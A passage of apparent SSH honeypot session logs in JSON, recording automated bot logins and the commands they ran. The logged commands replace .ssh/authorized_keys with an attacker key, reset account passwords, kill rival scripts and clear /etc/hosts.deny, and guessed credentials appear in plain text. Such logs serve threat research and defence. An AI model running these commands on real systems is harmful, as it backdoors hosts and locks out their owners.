0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:19:39.850698+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:19:40.335870+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:19:40.664361+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:19:41.463387+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:19:41.790061+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:19:42.165451+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:19:42.497858+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:19:43.892889+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:19:44.226230+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:19:45.544825+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ASDzxc123","method":"password","accepted":true,"tier":"other"}]} {"id":"b971e5de-b870-4572-a10d-ec65612c5d25","name":"placid-curious-quoll","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":59032,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:19:29.542825+00:00","ended_at":"2026-08-27T12:19:30.247531+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6e476f28-5a02-45b9-8651-c3b9a7b4af7c","name":"frank-valiant-tapir","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":40908,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:19:27.963185+00:00","ended_at":"2026-08-27T12:19:28.850652+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"464cf29c-a5b7-42bb-a3fa-d990165de08a","name":"brave-foggy-oryx","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57670,"username":"cuckoo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:17:38.862670+00:00","ended_at":"2026-08-27T12:17:40.888936+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T12:17:21.221926+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:17:21.548841+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:17:25.931191+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:17:26.395283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:17:26.721777+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cuckoo\\noUX0IRHE975x\\noUX0IRHE975x\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:17:27.049952+00:00","kind":"input","latency_ms":null,"data":"echo \"cuckoo\\noUX0IRHE975x\\noUX0IRHE975x\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:17:27.375533+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:17:27.910728+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:17:28.239123+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:17:29.112683+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:17:29.443651+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:17:30.194592+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:17:30.532688+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:17:30.824550+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:17:31.154201+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:17:31.913856+00:00","kind":"output","latency_ms":null,"data":" 12:17:31 up 7 days, 9:07, 0 user, load average: 0.1, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:17:32.242243+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:17:32.663547+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:17:32.991942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:17:33.319054+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:17:33.648022+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:17:34.257851+00:00","kind":"output","latency_ms":null,"data":"top - 12:17:34 up 7 days, 9:07, 0 user, load average: 0.1, 0.1, 0.07\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:17:34.587662+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:17:34.960130+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:17:35.288135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:17:36.054139+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:17:36.384120+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:17:37.259910+00:00","kind":"output","latency_ms":null,"data":"cuckoo"},{"seq":29,"at":"2026-08-27T12:17:37.588294+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:17:38.534599+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:17:38.863195+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:17:40.790620+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cuckoo","password":"cuckoo","method":"password","accepted":true,"tier":"other"}]} {"id":"5955f270-2c68-451d-bb99-898a798c1521","name":"drifting-lonesome-walrus","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":57688,"username":"cuckoo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:24.769873+00:00","ended_at":"2026-08-27T12:17:25.833022+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cuckoo","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"060b4211-25b5-40f4-bcf4-d15c66ebd1c2","name":"idle-airy-ermine","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":57682,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:22.295832+00:00","ended_at":"2026-08-27T12:17:24.113298+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"779e6bda-1ea1-48e9-a699-6b4db9dfc7e7","name":"polar-rambling-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37324,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:15:38.945247+00:00","ended_at":"2026-08-27T12:15:40.531770+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:15:20.842068+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:15:21.171919+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:15:25.954235+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:15:26.408678+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:15:26.736998+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sklep\\nuJ21Ozo256Nt\\nuJ21Ozo256Nt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:15:27.066338+00:00","kind":"input","latency_ms":null,"data":"echo \"sklep\\nuJ21Ozo256Nt\\nuJ21Ozo256Nt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:15:27.396304+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:15:28.121798+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:15:28.450084+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:15:29.497511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:15:29.825894+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:15:30.738595+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:15:31.067909+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:15:31.530480+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:15:31.860147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:15:32.535696+00:00","kind":"output","latency_ms":null,"data":" 12:15:32 up 7 days, 9:05, 0 user, load average: 0.22, 0.17, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:15:32.862957+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:15:33.662865+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:15:33.988757+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:15:34.275521+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:15:34.602019+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:15:34.955768+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:34 up 7 days, 9:05, 0 user, load average: 0.22, 0.17, 0.21\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:15:35.285343+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:15:35.781831+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:15:36.110488+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:15:36.414558+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:15:36.741242+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:15:37.104191+00:00","kind":"output","latency_ms":null,"data":"sklep"},{"seq":29,"at":"2026-08-27T12:15:37.431230+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:15:38.618380+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:15:38.946043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:15:40.433898+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sklep","password":"sklep","method":"password","accepted":true,"tier":"other"}]} {"id":"632586ea-1ecd-47e6-ba8b-17196908bbcf","name":"mindful-craggy-martin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37348,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:15:24.393971+00:00","ended_at":"2026-08-27T12:15:25.858356+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sklep","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"58e3a3fd-ebbd-47a5-aa35-506d68572dc3","name":"courtly-downy-shelduck","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37338,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:15:21.928506+00:00","ended_at":"2026-08-27T12:15:23.740770+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"052656f7-0f3a-4553-91ff-893e15d0df4f","name":"hushed-alpine-jaguar","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57014,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:13:37.615119+00:00","ended_at":"2026-08-27T12:13:38.850014+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:13:18.875079+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:13:19.203018+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:13:23.921162+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:13:24.509175+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:13:24.838227+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4tIJvNS4rLRb\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:13:25.164094+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:13:25.492619+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:13:25.836725+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:13:26.167586+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:13:27.158065+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:13:27.488673+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:13:28.521422+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:13:28.849953+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:13:29.485919+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:13:29.817096+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:13:30.417077+00:00","kind":"output","latency_ms":null,"data":" 12:13:30 up 7 days, 9:03, 0 user, load average: 0.24, 0.19, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:13:30.747833+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:13:31.027447+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:13:31.355130+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:13:31.615805+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:13:31.943152+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:13:32.608027+00:00","kind":"output","latency_ms":null,"data":"top - 12:13:32 up 7 days, 9:03, 0 user, load average: 0.24, 0.19, 0.16\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:13:32.940040+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:13:33.429216+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:13:33.756571+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:13:34.564353+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:13:34.903085+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:13:35.537220+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:13:35.875104+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:13:37.288203+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:13:37.616116+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:13:38.754147+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"expand","method":"password","accepted":true,"tier":"other"}]} {"id":"fc2385d9-513b-4393-b0b4-6ca8f596ed2c","name":"crisp-gleaming-wombat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":54456,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:13:22.238840+00:00","ended_at":"2026-08-27T12:13:23.821651+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"363515e9-6ef8-4fd6-a333-97bef7d7b5b9","name":"marbled-crisp-tinamou","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":54454,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:13:19.949822+00:00","ended_at":"2026-08-27T12:13:21.550135+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2cebf8e2-48ac-4180-a403-6c2558213b56","name":"dewy-ivory-bluebird","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":34578,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:10:11.214918+00:00","ended_at":"2026-08-27T12:10:12.392297+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:09:50.658047+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:09:50.987250+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:09:56.143153+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:09:57.001586+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:09:57.328305+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xMOq6AxboH3v\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:09:57.658261+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:09:57.984055+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:09:58.729399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:09:59.061518+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:09:59.818933+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:10:00.173942+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 